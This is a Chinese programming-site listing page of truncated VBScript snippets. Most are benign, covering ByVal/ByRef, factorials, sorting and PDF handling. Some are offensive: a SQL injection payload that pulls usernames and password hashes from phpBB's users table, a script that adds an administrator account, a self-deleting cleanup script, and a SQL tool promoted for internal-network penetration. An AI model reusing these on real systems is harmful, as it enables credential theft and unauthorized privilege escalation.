第24页_VB-程序员之家

一段提取用户名和md5的vbs代码

2020-02-16 标签:一段,提取,用户名,md,vbs,代码,注入,如下,links,php,t,search,keywords,asd,start,union,select,username

注入代码如下: links.php?t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where

vbs(asp) ByVal ByRef函数调用使用说明

2020-02-16 标签:vbs,asp,byval,byref,函数,调用,使用说明,参数,而不是,地址,传递,过程,方式,这就,访问,变量

1、ByVal传值：一种将参数值而不是将地址传递给过程的方式，这就使过程访问到变量的复本。结果，过程不可改变变量的真正值。2、ByRef传值：一种将参数地址而不是将值传递给过程的方式，这就使过程访问到实际的变量。结果，过程可改变变量的真正值。除非另作说明，否则按地址传递参数。3、系统默认的是ByRe

vbs后台运行bat删除自身的代码

2020-02-16 标签:vbs,后台,运行,bat,删除,自身,代码,知道,真实,路径,情况下,实现,如下,set,fso,wscript,scripting,deletefile

知道真实路径的情况下实现代码如下：set fso=wscript.createobject("scripting.filesystemobject") fso.deletefile "c:\windows\system32\run.cmd" fso.deletefile "c:\windows\sy

算阶乘的vbs小程序

2020-02-16 标签:阶乘,vbs,程序,dim,n,ans,i,inputbox,170,ext,msgbox

dim n,ans,i n=inputbox("n(0<=n<=170)=") ans=1 for i=1 to n ans=ans*i next msgbox(ans)

PDF的VBS小程序代码

2020-02-16 标签:pdf,vbs,程序,代码,dim,ls,file,set,objargs,wscript,arguments,命令行,参数,count,return,end,第一个,通常

Dim ls_File Set objArgs = WScript.Arguments'命令行参数 if objArgs.Count<1 thenreturn end if ls_File = objArgs(0)'第一个参数通常就是文件名 ls_new = left(ls_File, len

vbs版sql查询分析器lcx作品

2020-02-16 标签:vbs,sql,查询,分析器,lcx,作品,花了,时间,把以,前的,海阳,顶端,2006,模块,改成,和它,功能,一模一样,用起来

花了一点时间把以前的海阳顶端2006的sql模块改成vbs版了，和它的功能是一模一样的，不过用起来可能没有asp版的舒服，不过能用，可以用在dos下了，渗透内网时估计你用得着。 if (lcase(right(wscript.fullname,11))="wscript.exe") then ech

百度空间备份脚本baidublogbak.vbs代码分析

2020-02-16 标签:百度,空间,备份,脚本,vbs,代码,分析,用法,示例,cscript,bak,用户名,i,n页,目录,列表

'用法示例： 'cscript bak.vbs 百度用户名第I页至第n页目录列表.htm 用户名密码 '例如我的blgo示例： 'cscript baidublogbak.vbs myvbscript 0 3 url.htm myvbscript mima '表示从第0页备份到第3页，blo

vbs的sort排序

2020-02-16 标签:vbs,sort,排序,function,fsortarray,dim,oarraylist,ielement,set,system,collections,arraylist,ubound,add,next,end,myarray

Function fSortArray(aSortThisArray) Dim oArrayList, iElement Set oArrayList = CreateObject( "System.Collections.ArrayList" ) For iElement = 0 To UBoun

vbs加administrator用户的代码

2020-02-16 标签:vbs,用户,代码,set,wsnetwork,wscript,network,os,winnt,ob,getobject,得到,adsi,接口,绑定,oe

set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) '得到adsi接口,绑定 Set oe=GetObject(os&"/Adm

VB 软件列表